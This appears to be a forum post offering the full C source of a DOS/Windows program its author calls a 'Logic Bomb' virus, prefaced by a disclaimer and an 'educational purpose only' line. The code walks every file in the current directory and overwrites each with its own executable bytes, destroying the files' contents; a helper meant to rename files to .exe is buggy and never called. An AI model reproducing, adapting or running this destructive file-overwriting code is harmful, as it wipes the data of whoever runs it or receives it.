Logic Bomb. Actually a virus!

No Way I'm Responsible for Execution of this Bomb. This sort of viruses are called as LogicalBombs. They just replicate themselves into other files and inject itself byte by byte to other files in programmed directory. Windows based C Source Code. 

Should be used for educational purpose only.

Code:

#include<stdio.h>

#include<dos.h>

#include<dir.h>

#include<fcntl.h>

#include<conio.h>

#include<string.h>

void ext_rename(char file[])

 {

 char old[1000],ext[]="exe";

 int i,status;

 strcpy(file,old);

 for(i=0;i<strlen(file);i++)

  {

   if(file[i]=='.')

    {

     file[++i]='\0';

     break;

    }

   }

  strcat(file,ext);

  rename(old,file);

}

void main(int argc,char* argv[])

{

 char buf[512];

 char old[1000],ext[]="exe";

 int i,status;

 int source,target,byt,done;

 struct ffblk ffblk;

 clrscr();

 textcolor(BLUE);

 cprintf("--------------------------------------------------------------------------");

 printf("\nVirus: Logic Bomb 1.0\nProgrammer: SIBIDHARAN N\n");

 cprintf("--------------------------------------------------------------------------");

 textcolor(GREEN);

 printf("\n");

 cprintf("\nPress any key to start Injecting..");

 getch();

 done = findfirst("*.*",&ffblk,0);

while(!done)

{

  printf("\n");

  textcolor(YELLOW);

  cprintf(" %s ", ffblk.ff_name);

  printf("is converted into a");

  textcolor(RED);

  cprintf(" Logicbomb");

  source=open(argv[0],O_RDONLY|O_BINARY);

  target=open(ffblk.ff_name,O_CREAT|O_BINARY|O_WRONLY);

  while(1)

   {

     byt=read(source,buf,512);

     if(byt>0)

     write(target,buf,byt);

      else

       break;

   }

  close(source);

  close(target);

  done = findnext(&ffblk);

 }

getch();

}